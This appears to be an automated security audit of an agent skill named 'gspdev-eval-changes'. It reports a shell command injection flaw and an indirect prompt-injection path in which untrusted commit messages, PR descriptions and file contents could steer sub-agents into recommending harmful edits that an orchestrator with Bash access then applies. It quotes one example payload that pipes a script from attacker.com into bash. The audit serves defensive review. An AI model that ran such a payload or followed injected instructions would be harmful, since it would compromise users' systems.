The Agent Skills Directory

[COMMAND_EXECUTION]: The skill interpolates the user-supplied $ARGUMENTS (commit range) directly into shell commands within SKILL.md (Step 0, Step 2, and Step 5) without any sanitization or validation. An attacker could provide a malicious input such as main; curl http://attacker.com/malicious.sh | bash to execute arbitrary commands on the system.
[PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection (Category 8) due to its handling of external data.
Ingestion points: The skill reads untrusted file content (Step 2), pull request descriptions from the GitHub CLI (Step 5), and commit messages from the git log (Step 5).
Boundary markers: Absent. The skill interpolates this untrusted data into prompts for evaluator sub-agents using only basic markdown headers, which are insufficient to prevent an attacker from overriding the sub-agent's instructions.
Capability inventory: While the sub-agents are told not to modify files, the orchestrator agent possesses the Bash and Edit tools and uses them in Step 8 to apply changes recommended by the sub-agents. A malicious file could thus trick the sub-agent into recommending harmful 'restorations' that the orchestrator then executes.
Sanitization: None. Content is used verbatim.
[EXTERNAL_DOWNLOADS]: The skill uses the GitHub CLI (gh pr view) to fetch pull request metadata. While this involves network access, it targets a well-known service and is consistent with the skill's stated purpose as a developer tool.

gspdev-eval-changes